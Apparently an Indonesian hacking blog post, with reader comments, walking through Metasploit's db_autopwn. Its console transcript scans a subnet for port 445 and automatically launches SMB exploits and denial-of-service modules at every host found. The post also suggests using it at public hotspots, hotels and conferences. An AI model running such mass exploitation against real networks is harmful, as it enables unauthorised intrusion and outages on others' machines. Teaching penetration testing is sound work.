Posted by kecoak on Dec 23, 2008

Metasploit dan AutoPwn

Klo kata anak-anak underground dan para blackhat, tehnik auto-exploitation metasploit termasuk lame. Biar bagaimanapun juga metasploit merupakan tools yang didevelop untuk aktivitas penetration testing. Semua dokumentasinya pun selalu membatasi agar proses penetration testing dengan menggunakan metasploit dilakukan secara legal. Walaupun, banyak yang menggunakan isi metasploit untuk hal-hal yang jauh lebih mengerikan lagi, salah satunya adalah worm sasser beberapa tahun lalu yang menggunakan payload dari metasploit (port 4444) untuk exploitasi service lsass Microsoft Windows.

Implementasi autopwn metasploit cukup mudah dilakukan, daripada kita melakukan nmap secara manual dan mencoba satu per satu dari msfconsole untuk suatu exploit, dengan memanfaatkan AutoPwn metasploit proses ini bisa dilakukan secara otomatis. Pada pemanfaatan lebih lanjut kita bisa mengembangkan proses scanning yang dilakukan hingga bersifat spesifik (servis tertentu, sistem operasi tertentu, dll), namun untuk contoh kali ini dilakukan secara sederhana menggunakan target apapun yang terbuka pada port 445 (hayooo, service apa yang membuka port 445?).

msf > version
Framework: 3.3-dev.5962
Console  : 3.3-dev.6039
msf > load db_postgres
[*] Successfully loaded plugin: db_postgres

msf > db_create autopwn.db
ERROR:  table "hosts" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "hosts_id_seq" for serial column "hosts.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "hosts_pkey" for table "hosts"
NOTICE:  CREATE TABLE / UNIQUE will create implicit index "hosts_address_key" for table "hosts"
ERROR:  table "services" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "services_id_seq" for serial column "services.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "services_pkey" for table "services"
ERROR:  table "vulns" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "vulns_id_seq" for serial column "vulns.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "vulns_pkey" for table "vulns"
ERROR:  table "refs" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "refs_id_seq" for serial column "refs.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "refs_pkey" for table "refs"
ERROR:  table "vulns_refs" does not exist
ERROR:  table "notes" does not exist
NOTICE:  CREATE TABLE will create implicit sequence "notes_id_seq" for serial column "notes.id"
NOTICE:  CREATE TABLE / PRIMARY KEY will create implicit index "notes_pkey" for table "notes"
[*] Database creation complete (check for errors)

msf > db_connect autopwn.db

msf > db_nmap -p 445 10.10.13.1/24
[*] exec: "/usr/local/bin/nmap" "-p" "445" "10.10.13.1/24" "-oX" "/var/folders/ET/ETjeIh81FAOxuPsmYvtgI++++TI/-Tmp-/dbnmap.478.0"
NMAP:
NMAP: Starting Nmap 4.68 ( http://nmap.org ) at 2008-12-23 16:05 EAT
NMAP: Interesting ports on 10.10.13.1:
NMAP: PORT    STATE  SERVICE
NMAP: 445/tcp closed microsoft-ds
NMAP:
NMAP: Interesting ports on 10.10.13.7:
NMAP: PORT    STATE SERVICE
NMAP: 445/tcp open  microsoft-ds
...

...

NMAP:
NMAP: Nmap done: 256 IP addresses (28 hosts up) scanned in 3.332 seconds
msf > db_services
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.7 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.14 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.15 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.18 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.21 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.22 port=445 proto=tcp state=up name=microsoft-ds
[*] Time: Tue Dec 23 16:05:40 +0300 2008 Service: host=10.10.13.23 port=445 proto=tcp state=up name=microsoft-ds
...

...

msf > db_autopwn -p -t
[*] Analysis completed in 6.44996190071106 seconds (0 vulns / 0 refs)
[*] Matched exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 10.10.13.14:445...
[*] Matched auxiliary/dos/samba/lsa_addprivs_heap against 10.10.13.29:445...
[*] Matched auxiliary/admin/db2/db2rcmd against 10.10.13.50:445...
[*] Matched exploit/windows/smb/ms06_040_netapi against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms03_049_netapi against 10.10.13.50:445...
[*] Matched exploit/solaris/samba/lsa_transnames_heap against 10.10.13.25:445...

...

...

msf > db_autopwn -p -t -e
[*] Analysis completed in 6.14483499526978 seconds (0 vulns / 0 refs)
[*] Matched exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] (1/624): Launching exploit/osx/samba/lsa_transnames_heap against 10.10.13.7:445...
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] (2/624): Launching exploit/windows/brightstor/etrust_itm_alert against 10.10.13.34:445...
[*] Matched exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...
[*] (3/624): Launching exploit/windows/smb/ms04_011_lsass against 10.10.13.37:445...

[*] Started bind handler
[*] Matched exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] (4/624): Launching exploit/windows/brightstor/etrust_itm_alert against 10.10.13.41:445...
[*] Started bind handler

[*] Matched auxiliary/dos/windows/smb/ms06_063_trans against 10.10.13.14:445...
...

...

Konsepnya sederhana, Metasploit diatas memanfaatkan postgre sebagai database untuk menyimpan data. Setelah kita membuat database “autopwn.db” akan terbentuk database postgre, selanjutnya kita tinggal connect ke database tersebut. Setelah connect maka akan muncul beberapa command tambahan yang dapat digunakan untuk berinteraksi dengan database, salah satnya adalah “db_autopwn”. Berbeda dengan wmap seperti yang ditulis sebelumnya, db_autopwn merupakan bagian dari plugin postgre sehingga tidak perlu di load secara terpisah, istilah kerennya db_autopwn merupakan backend dari database postgre, dan dapat dilihat menggunakan command “help” pada bagian “Database Backend Command”.

Sebagaimana yang tertulis pada blog metapsloit mengenai autopwn, proses scanning dapat dilakukan dengan 3 cara. Yang pertama adalah import NBE file hasil scanning dengan nessus, yang kedua import XML file hasil scanning nmap, atau langsung menggunakan “db_nmap” untuk proses scanning dengan nmap yang hasilnya akan langsung disimpan kedalam database postgre tersebut. Pada contoh diatas, saya menggunakan feature scanning dari nmap secara langsung dengan target port 445.

db_autopwn dapat melakukan analisis secara otomatis berdasarkan isi database postgre, apakah berdasarkan port target, atau berdasarkan referensi hole, dsb. Contoh diatas menggunakan target port 445, jadi apabila dalam satu network ada terdeteksi port 445 open maka dengan bodoh polosnya metasploit akan menganggap port tersebut berpotensi memiliki hole yang selanjutnya akan dimasukan dalam proses bruteforce terhadap semua exploit yang menyerang port 445.

Tentu saja contoh diatas sangat naif jika digunakan terhadap target-target berkelas (mis: server farm) karena biasanya sysadmin tersayang akan menggunakan port non-default, namun tidak menutup kemungkinan dengan variasi mekanisme private scanning dan melakukan import ke database postgre yang telah tersedia (jangan lupa, metasploit dapat di-customize dengan beberapa script ruby) maka proses autopwn bisa dilakukan dengan lebih tepat. Yah, paling tidak jika kita datang ke suatu lokasi (hotspot, hotel, security conference) ataupun hanya sekedar pamer ke customer saat melakukan pentesting suatu perusahaan, db_autopwn bisa melakukan tugasnya dengan cepat dan efisien. Sehingga dengan cepat kita bisa mengatakan:

Pen-testhor : “tuh pak, saya sudah menemukan 11 komputer windows di perusahaan anda vulnerable, belum masuk ke server nya ini nih…”

Bos-ok: “great work, nanti $2000 langsung saya transfer setelah menerima report dari anda”

Well, what a bored day here… 🙁

Post a Comment

4 Responses to “Metasploit dan AutoPwn”

  1. QU1NT1N says:

    menarik sekali bro,,,
    saya jadi tau apa yang dilakukan fast-track selama ini 😀

  2. franky says:

    msf > version
    Framework: 3.3-dev.5962
    Console : 3.3-dev.6044
    msf > load db_postgres
    [*] Successfully loaded plugin: db_postgres
    msf > db_create autopwn.db
    sh: createdb: not found
    sh: psql: not found
    [-] Error while running command db_create: Broken pipe

    Call stack:
    /home/hack/metasploit/plugins/db_postgres.rb:123:in `write’
    /home/hack/metasploit/plugins/db_postgres.rb:123:in `cmd_db_create’
    /home/hack/metasploit/lib/rex/ui/text/dispatcher_shell.rb:234:in `send’
    /home/hack/metasploit/lib/rex/ui/text/dispatcher_shell.rb:234:in `run_command’
    /home/hack/metasploit/lib/rex/ui/text/dispatcher_shell.rb:196:in `run_single’
    /home/hack/metasploit/lib/rex/ui/text/dispatcher_shell.rb:191:in `each’
    /home/hack/metasploit/lib/rex/ui/text/dispatcher_shell.rb:191:in `run_single’
    /home/hack/metasploit/lib/rex/ui/text/shell.rb:127:in `run’
    ./msfconsole:78
    msf >

    ada yg bisa mbantu knp kok error..
    thanks atas bantunnya…

  3. Donz Ph03n1X says:

    @franky
    Errornya kurang jelaskah??
    Install PostgreSQL dulu

    **saya baru pake metasploit minggu ini lo, itulah yang biasa dimanja ma production toolz, don’t understand how the things really go!

  4. ByteSkrew says:

    # Franky, seperti yang disampaikan ph03ni1x, install database postgrenya dulu. Bisa dicek dengan:

    $ postgres –version
    postgres (PostgreSQL) 8.3.5

    dalam kasus kamu, metasploit berhasil loading postgres yang berarti loading plugin tersebut (yang terletak di /plugins/), tapi bukan berarti postgres sudah terinstall dalam sistem yang kamu gunakan.

Trackbacks/Pingbacks

  1. Metasploit dan AutoPwn « Red Devils Penetration Testing - [...] : http://kecoak.org/log/2008/12/23/metasploit-dan-autopwn/ Share this:TwitterFacebookLike this:LikeBe the first to like this [...]

Leave a Reply

Your email address will not be published. Required fields are marked *